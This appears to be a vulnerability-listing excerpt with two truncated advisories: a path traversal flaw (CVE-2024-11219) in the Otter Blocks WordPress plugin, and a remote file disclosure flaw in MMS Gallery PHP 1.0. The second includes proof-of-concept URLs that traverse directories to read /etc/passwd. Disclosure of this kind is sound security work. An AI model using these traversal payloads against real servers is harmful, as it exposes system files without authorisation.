CVE-2024-11219: Improper Limitation of a Pathname to a Restricted Directory

The Otter Blocks – Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 3.0.6 via the getimage function. This makes it possible for unauthenticated attackers to view arbitrary images on the server, whi...

MMS Gallery PHP 1.0 (id) Remote File Disclosure Vulnerability

No description provided by source. MMS Gallery in PHP v1.0 id Remote File Disclosure Vulnerability D.Script : http://www.mms2web.com/mmsgalleryphp.zip POC : /mmstemplate/getimage.php?id=../../../../../../../../etc/passwd /mmstemplate/getfile.php?id=../../../../../../../../etc/passwd...